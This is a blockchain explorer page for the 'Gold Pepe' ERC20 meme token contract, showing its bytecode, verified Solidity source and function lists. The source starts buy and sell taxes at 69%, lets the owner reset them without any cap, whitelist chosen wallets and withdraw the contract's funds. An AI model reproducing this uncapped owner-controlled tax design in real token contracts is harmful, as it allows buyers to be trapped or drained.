Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0xd8Eb27a94e610a7b859758Ed1F2D47aD224Bfaaa
Balance 0 ETH
Nonce 1
Code Size 10004 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

10004 bytes
0x6080604052600436106101185760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610398578063acef5ea1146103d5578063cc1776d3146103ec578063dd62ed3e14610417578063f2fde38b146104545761011f565b806370a08231146102c5578063715018a614610302578063729ee278146103195780638da5cb5b1461034257806395d89b411461036d5761011f565b806324c2ee3f116100e757806324c2ee3f146101f4578063313ce5671461021d5780634f7041a5146102485780635706ee74146102735780635a26b9e61461029c5761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b5061013961047d565b6040516101469190611b8a565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190611c4a565b6104ba565b6040516101839190611ca5565b60405180910390f35b34801561019857600080fd5b506101a16104d8565b6040516101ae9190611ccf565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190611cea565b6104ec565b6040516101eb9190611ca5565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190611d3d565b6105a4565b005b34801561022957600080fd5b50610232610694565b60405161023f9190611d86565b60405180910390f35b34801561025457600080fd5b5061025d61069d565b60405161026a9190611ccf565b60405180910390f35b34801561027f57600080fd5b5061029a60048036038101906102959190611e06565b6106a3565b005b3480156102a857600080fd5b506102c360048036038101906102be9190611e53565b6107dd565b005b3480156102d157600080fd5b506102ec60048036038101906102e79190611d3d565b610884565b6040516102f99190611ccf565b60405180910390f35b34801561030e57600080fd5b506103176108cd565b005b34801561032557600080fd5b50610340600480360381019061033b9190611d3d565b610a20565b005b34801561034e57600080fd5b50610357610c31565b6040516103649190611ea2565b60405180910390f35b34801561037957600080fd5b50610382610c5a565b60405161038f9190611b8a565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba9190611c4a565b610c97565b6040516103cc9190611ca5565b60405180910390f35b3480156103e157600080fd5b506103ea610cb5565b005b3480156103f857600080fd5b50610401610d6f565b60405161040e9190611ccf565b60405180910390f35b34801561042357600080fd5b5061043e60048036038101906104399190611ebd565b610d75565b60405161044b9190611ccf565b60405180910390f35b34801561046057600080fd5b5061047b60048036038101906104769190611d3d565b610dfc565b005b60606040518060400160405280600981526020017f476f6c6420506570650000000000000000000000000000000000000000000000815250905090565b60006104ce6104c7610e9d565b8484610ea5565b6001905092915050565b60006bdef376571332906a88000000905090565b60006104f984848461106e565b61059984610505610e9d565b84600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061054f610e9d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105949190611f2c565b610ea5565b600190509392505050565b6105ac610e9d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610639576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063090611fac565b60405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b60025481565b6106ab610e9d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610738576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072f90611fac565b60405180910390fd5b60005b828290508110156107d85760016008600085858581811061075f5761075e611fcc565b5b90506020020160208101906107749190611d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107d090611ffb565b91505061073b565b505050565b6107e5610e9d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610872576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086990611fac565b60405180910390fd5b81600281905550806003819055505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108d5610e9d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610962576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095990611fac565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610a28610e9d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aac90611fac565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b35573373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610b2f573d6000803e3d6000fd5b50610c2e565b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610b8b9190611ea2565b602060405180830381865afa158015610ba8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bcc9190612058565b6040518363ffffffff1660e01b8152600401610be9929190612085565b6020604051808303816000875af1158015610c08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c2c91906120da565b505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f474f504550450000000000000000000000000000000000000000000000000000815250905090565b6000610cab610ca4610e9d565b848461106e565b6001905092915050565b610cbd610e9d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4190611fac565b60405180910390fd5b6001600460006101000a81548160ff021916908360ff16021790555043600581905550565b60035481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e04610e9d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8890611fac565b60405180910390fd5b610e9a816119ce565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612179565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7a9061220b565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110619190611ccf565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d49061229d565b60405180910390fd5b633b9aca008111611123576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111a90612309565b60405180910390fd5b6000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806111c65750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111d457600090506116ae565b6000600460009054906101000a900460ff1660ff1603611229576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122090612375565b60405180910390fd5b6001600460019054906101000a900460ff1660ff160361135a5781600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112929190611f2c565b9250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112e89190612395565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161134c9190611ccf565b60405180910390a3506119c9565b7f000000000000000000000000751cd46fa864185e1cad91ec0eddf4faad7246a373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036113b75760025490506116ad565b7f000000000000000000000000751cd46fa864185e1cad91ec0eddf4faad7246a373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116a7576000600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506934f086f3b33b684000008111801561147957506000600460019054906101000a900460ff1660ff16145b1561169c576b023ac12ef364587bf20000008111156114a2576b023ac12ef364587bf200000090505b6001600460016101000a81548160ff021916908360ff1602179055506000600267ffffffffffffffff8111156114db576114da6123c9565b5b6040519080825280602002602001820160405280156115095781602001602082028036833780820191505090505b509050308160008151811061152157611520611fcc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106115905761158f611fcc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947836000847f00000000000000000000000069111d5a0d19ba99bc1401580aa1589872305f45426040518663ffffffff1660e01b815260040161164c959493929190612550565b600060405180830381600087803b15801561166657600080fd5b505af115801561167a573d6000803e3d6000fd5b505050506000600460016101000a81548160ff021916908360ff160217905550505b6003549150506116ac565b600090505b5b5b600081146118b5576000606482846116c691906125aa565b6116d0919061261b565b9050600081846116e09190611f2c565b905083600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117319190611f2c565b9250508190555080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117879190612395565b9250508190555081600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117dd9190612395565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118419190611ccf565b60405180910390a38473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118a69190611ccf565b60405180910390a350506119c7565b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546119049190611f2c565b9250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461195a9190612395565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119be9190611ccf565b60405180910390a35b505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611a3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a34906126be565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b34578082015181840152602081019050611b19565b60008484015250505050565b6000601f19601f8301169050919050565b6000611b5c82611afa565b611b668185611b05565b9350611b76818560208601611b16565b611b7f81611b40565b840191505092915050565b60006020820190508181036000830152611ba48184611b51565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611be182611bb6565b9050919050565b611bf181611bd6565b8114611bfc57600080fd5b50565b600081359050611c0e81611be8565b92915050565b6000819050919050565b611c2781611c14565b8114611c3257600080fd5b50565b600081359050611c4481611c1e565b92915050565b60008060408385031215611c6157611c60611bac565b5b6000611c6f85828601611bff565b9250506020611c8085828601611c35565b9150509250929050565b60008115159050919050565b611c9f81611c8a565b82525050565b6000602082019050611cba6000830184611c96565b92915050565b611cc981611c14565b82525050565b6000602082019050611ce46000830184611cc0565b92915050565b600080600060608486031215611d0357611d02611bac565b5b6000611d1186828701611bff565b9350506020611d2286828701611bff565b9250506040611d3386828701611c35565b9150509250925092565b600060208284031215611d5357611d52611bac565b5b6000611d6184828501611bff565b91505092915050565b600060ff82169050919050565b611d8081611d6a565b82525050565b6000602082019050611d9b6000830184611d77565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611dc657611dc5611da1565b5b8235905067ffffffffffffffff811115611de357611de2611da6565b5b602083019150836020820283011115611dff57611dfe611dab565b5b9250929050565b60008060208385031215611e1d57611e1c611bac565b5b600083013567ffffffffffffffff811115611e3b57611e3a611bb1565b5b611e4785828601611db0565b92509250509250929050565b60008060408385031215611e6a57611e69611bac565b5b6000611e7885828601611c35565b9250506020611e8985828601611c35565b9150509250929050565b611e9c81611bd6565b82525050565b6000602082019050611eb76000830184611e93565b92915050565b60008060408385031215611ed457611ed3611bac565b5b6000611ee285828601611bff565b9250506020611ef385828601611bff565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611f3782611c14565b9150611f4283611c14565b9250828203905081811115611f5a57611f59611efd565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611f96602083611b05565b9150611fa182611f60565b602082019050919050565b60006020820190508181036000830152611fc581611f89565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061200682611c14565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361203857612037611efd565b5b600182019050919050565b60008151905061205281611c1e565b92915050565b60006020828403121561206e5761206d611bac565b5b600061207c84828501612043565b91505092915050565b600060408201905061209a6000830185611e93565b6120a76020830184611cc0565b9392505050565b6120b781611c8a565b81146120c257600080fd5b50565b6000815190506120d4816120ae565b92915050565b6000602082840312156120f0576120ef611bac565b5b60006120fe848285016120c5565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612163602483611b05565b915061216e82612107565b604082019050919050565b6000602082019050818103600083015261219281612156565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006121f5602283611b05565b915061220082612199565b604082019050919050565b60006020820190508181036000830152612224816121e8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612287602583611b05565b91506122928261222b565b604082019050919050565b600060208201905081810360008301526122b68161227a565b9050919050565b7f4d696e207472616e7366657220616d7400000000000000000000000000000000600082015250565b60006122f3601083611b05565b91506122fe826122bd565b602082019050919050565b60006020820190508181036000830152612322816122e6565b9050919050565b7f4c61756e63680000000000000000000000000000000000000000000000000000600082015250565b600061235f600683611b05565b915061236a82612329565b602082019050919050565b6000602082019050818103600083015261238e81612352565b9050919050565b60006123a082611c14565b91506123ab83611c14565b92508282019050808211156123c3576123c2611efd565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b6000819050919050565b600061242761242261241d846123f8565b612402565b611c14565b9050919050565b6124378161240c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61247281611bd6565b82525050565b60006124848383612469565b60208301905092915050565b6000602082019050919050565b60006124a88261243d565b6124b28185612448565b93506124bd83612459565b8060005b838110156124ee5781516124d58882612478565b97506124e083612490565b9250506001810190506124c1565b5085935050505092915050565b600061251661251161250c84611bb6565b612402565b611bb6565b9050919050565b6000612528826124fb565b9050919050565b600061253a8261251d565b9050919050565b61254a8161252f565b82525050565b600060a0820190506125656000830188611cc0565b612572602083018761242e565b8181036040830152612584818661249d565b90506125936060830185612541565b6125a06080830184611cc0565b9695505050505050565b60006125b582611c14565b91506125c083611c14565b92508282026125ce81611c14565b915082820484148315176125e5576125e4611efd565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061262682611c14565b915061263183611c14565b925082612641576126406125ec565b5b828204905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006126a8602683611b05565b91506126b38261264c565b604082019050919050565b600060208201905081810360008301526126d78161269b565b905091905056fea26469706673582212207a5d273be9ad93beed2659b2dd7db6628538d14c31bedad19ae30f8c7862718e64736f6c63430008120033

Verified Source Code Partial Match

Compiler: v0.8.18+commit.87f61d96 EVM: paris Optimization: No
GoldPepeToken.sol 345 lines
/**

Pepe is heading to the Paris Olympics & will only leave with Gold.


Website: https://gogoldpepe.vip
Twitter: https://x.com/gogoldpepe
Telegram: https://t.me/gogoldpepe                                            

**/

// SPDX-License-Identifier: Unlicensed

pragma solidity 0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

contract GoldPepeToken is Context, IERC20, Ownable {
    uint256 private constant _totalSupply = 69_000_000_000e18;
    uint256 private constant minSwap = 250_000e18;
    uint256 private constant onePercent = 690_000_000e18;
    uint8 private constant _decimals = 18;

    IUniswapV2Router02 immutable uniswapV2Router;
    address immutable uniswapV2Pair;
    address immutable WETH;
    address payable immutable marketingWallet;

    uint256 public buyTax;
    uint256 public sellTax;

    uint8 private launch;
    uint8 private inSwapAndLiquify;

    uint256 private launchBlock;

    string private constant _name = "Gold Pepe";
    string private constant _symbol = "GOPEPE";

    mapping(address => uint256) private _balance;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFeeWallet;

    constructor() {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        WETH = uniswapV2Router.WETH();
        buyTax = 69;
        sellTax = 69;

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            WETH
        );

        marketingWallet = payable(0x69111D5a0D19ba99bc1401580aA1589872305f45);
        _balance[msg.sender] = _totalSupply;
        _isExcludedFromFeeWallet[marketingWallet] = true;
        _isExcludedFromFeeWallet[msg.sender] = true;
        _isExcludedFromFeeWallet[address(this)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = type(uint256)
            .max;
        _allowances[msg.sender][address(uniswapV2Router)] = type(uint256).max;
        _allowances[marketingWallet][address(uniswapV2Router)] = type(uint256)
            .max;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()] - amount
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function andTheyreOff() external onlyOwner {
        launch = 1;
        launchBlock = block.number;
    }

    function oneAtATime(address wallet) external onlyOwner {
        _isExcludedFromFeeWallet[wallet] = true;
    }

    function onThePodium(address[] calldata wallets) external onlyOwner {
        for(uint i = 0; i < wallets.length; i++) {
            _isExcludedFromFeeWallet[wallets[i]] = true;
        }
    }


    function falseStart(address token) external onlyOwner {
        if (token == address(0))
            payable(msg.sender).transfer(address(this).balance);
        else
            IERC20(token).transfer(
                msg.sender,
                IERC20(token).balanceOf(address(this))
            );
    }

    function paralympics(uint256 newBuyTax, uint256 newSellTax) external onlyOwner {
        buyTax = newBuyTax;
        sellTax = newSellTax;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(amount > 1e9, "Min transfer amt");

        uint256 _tax;
        if (_isExcludedFromFeeWallet[from] || _isExcludedFromFeeWallet[to]) {
            _tax = 0;
        } else {
            require(
                launch != 0,
                "Launch"
            );

            if (inSwapAndLiquify == 1) {
                //No tax transfer
                _balance[from] -= amount;
                _balance[to] += amount;

                emit Transfer(from, to, amount);
                return;
            }

            if (from == uniswapV2Pair) {
                _tax = buyTax;
            } else if (to == uniswapV2Pair) {
                uint256 tokensToSwap = _balance[address(this)];
                if (tokensToSwap > minSwap && inSwapAndLiquify == 0) {
                    if (tokensToSwap > onePercent) {
                        tokensToSwap = onePercent;
                    }
                    inSwapAndLiquify = 1;
                    address[] memory path = new address[](2);
                    path[0] = address(this);
                    path[1] = WETH;
                    uniswapV2Router
                        .swapExactTokensForETHSupportingFeeOnTransferTokens(
                            tokensToSwap,
                            0,
                            path,
                            marketingWallet,
                            block.timestamp
                        );
                    inSwapAndLiquify = 0;
                }
                _tax = sellTax;
            } else {
                _tax = 0;
            }
        }

        //Is there tax for sender|receiver?
        if (_tax != 0) {
            //Tax transfer
            uint256 taxTokens = (amount * _tax) / 100;
            uint256 transferAmount = amount - taxTokens;

            _balance[from] -= amount;
            _balance[to] += transferAmount;
            _balance[address(this)] += taxTokens;
            emit Transfer(from, address(this), taxTokens);
            emit Transfer(from, to, transferAmount);
        } else {
            //No tax transfer
            _balance[from] -= amount;
            _balance[to] += amount;

            emit Transfer(from, to, amount);
        }
    }

    receive() external payable {}
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
buyTax 0x4f7041a5 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sellTax 0xcc1776d3 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 10 functions

These functions modify contract state and require a wallet transaction to execute.

andTheyreOff 0xacef5ea1
No parameters
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
falseStart 0x729ee278
address token
onThePodium 0x5706ee74
address[] wallets
oneAtATime 0x24c2ee3f
address wallet
paralympics 0x5a26b9e6
uint256 newBuyTax
uint256 newSellTax
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address